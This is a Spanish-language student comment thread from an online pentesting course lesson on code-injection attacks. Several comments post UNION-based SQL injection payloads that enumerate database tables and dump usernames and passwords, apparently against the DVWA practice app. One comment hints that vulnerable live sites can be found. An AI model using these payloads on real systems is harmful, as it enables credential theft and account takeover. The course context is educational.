Ataques de inyección de código para obtener información de los usuarios del sistema

Clase 29 de 33 • Curso de Fundamentos de Pentesting

Jose Alfredo Llerena Carpio

student•

Lo interesante del SQLi es que se puede ejecutar cualquier sentencia de DML y alterar la informacion de un registro, en otras palabras, un account takeover es facil ya que se cambia la clave de un usuario y listo, incluso si bien estoy instrucciones de DDL tambien es posible

Jonathan Lopez Bello

student•

Esta imagen esta todo lo que necesita un gestor de seguridad informatica.

Diego Fernando Ramos Aguirre

student•

Gracias por el aporte.

Martin DAVILA

student•

SELECT first_name, last_name
FROM user_id = '%' or '0'='0'
UNION SELECT null, 
table_name FROM 
information_schema.tables 
WHERE table_name like 'user%'
# 

CONCAT (table_name,
0x0a,column_name)
FROM information_schema.columns
WHERE table_name = 'users' 

CONCAT (
first_name,0x0a,
last_name,0x0a, 
password,
FROM 'users' 
;```

Diego Fernando Ramos Aguirre

student•

Gracias por el aporte, solo una pequeña correccion de la sintaxis en el ultimo CONCAT

SELECT first_name, last_name
FROM user_id = '%' or '0'='0'
UNION SELECT null, 
table_name FROM 
information_schema.tables 
WHERE table_name like 'user%'
# 

CONCAT(table_name,
0x0a,column_name)
FROM information_schema.columns
WHERE table_name = 'users' 

CONCAT(
first_name,0x0a,
last_name,0x0a, 
user,0x0a, 
password)
FROM users
#
;

Helios Barrera Hernández

student•

Creo que necesito ver DB para entenderte 🤣🤣

Hector Prieto

student•

Existe algún sitio web donde podamos practicar en linea este tipo de ataques?

Sergy Lopez Moreno

student•

Claro, esta el Proyecto de Owasp https://juice-shop.herokuapp.com/ Donde puedes probar este tipo de ataques, siempre es bueno probar en ambientes controlados, por eso vemos mucho el tema de virtualización. Otra opción es paginas como TryHackMe o HackTheBox que te proporcionan ambientes virtuales controlados los cuales puedes accesar desde tu navegador para probar maquinas enfocadas a la vulnerabilidad que buscas. Tienen maquinas gratis como de paga.

Benjamin Allen Ramirez Horna

student•

hasta que descubrimos que try hack me robaba los datos ;c

Irvin Eliud García Pérez

student•

Como se puede saber si el sitio está utilizando mysql o SQL server?

Alex Camacho

teacher•

Eso se debe de poder checar donde se encuentra alojado nuestro sitio.

Juan Castro

teacher•

También puedes usar extensiones como Wappalyzer: https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?hl=en. :wink:

Felipe González

student•

No funciona el CONCAT

Carlos Schiavonne Hurtado

student•

Si aun te sirve o por casualidad no lo solucionaste pon + reemplazando al CONCAT es decir si antes era CONCAT(x,y,z) seria x+y+z y con eso se soluciona

Pablo Aquino

student•

Aquí hay dos link para entender el SQL Inject Link1 Link2

CORILLA CANCHARI JOSE LUIS

student•

me sale un error que la funcion CONCAT no existe! como poder solucionar ?

Gabriel Cantos Medina

student•

Entiendo que hace consulta a tablas ¿pero como sabe exactamente el nombre de las tablas para que no salga error?

Daryl Jesael Esquivel López

student•

Por eso hace las primeras consultas a FROM information_schema.tables, donde information_schema es una base que contiene el esquema de la base de datos que estas consultando, y se le agrega el .tables para poder extraer las tablas que se encuentran en el esquema de la base de datos consultada.

Ricardo Ramos Hernandez

student•

Inyección SQL es una de las técnicas de hacking más populares de la actualiza A pesar de ser de las más antiguas sigue siendo de las más usadas Aproximadamente 2/3 partes de los ataques web en la actualidad son inyecciones SQL

Tomado de:

https://portswigger.net/daily-swig/sql-injection

Juan pablo Ramirez Gutierrez

student•

Al hacer las consultas, me sale :> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0' = '0' UNION SELECT null, database()''' at line 1 tengo el DVWA configurado en low ¿Que podrá ser?

Emmanuel Sosa Reyes

student•

Son muy buenos los aportes que nos da el profesor, pero, ¿aún hay páginas que pueden tener este tipo de vulnerabilidades? digo, con todas las nuevas implementaciones...

H. Benjamín Muñoz

student•

Te sorprenderías, emmanuel-reyes, al encontrar muchos sitios con estas vulnerabilidades. Son muchas y no solamente de empresas o personas, sino también de algunos gobiernos.

Erick González

student•

Hay demasiadas en internet si buscas el index podras encontrasr algunas

Oscar Jaramillo

student•

Excelente clase

Carlos Schiavonne Hurtado

student•

El problema de CONCAT al menos es mi caso es por un espacio que hay entre el CONCAT y los parentesis tiene que ser seguido el tipeo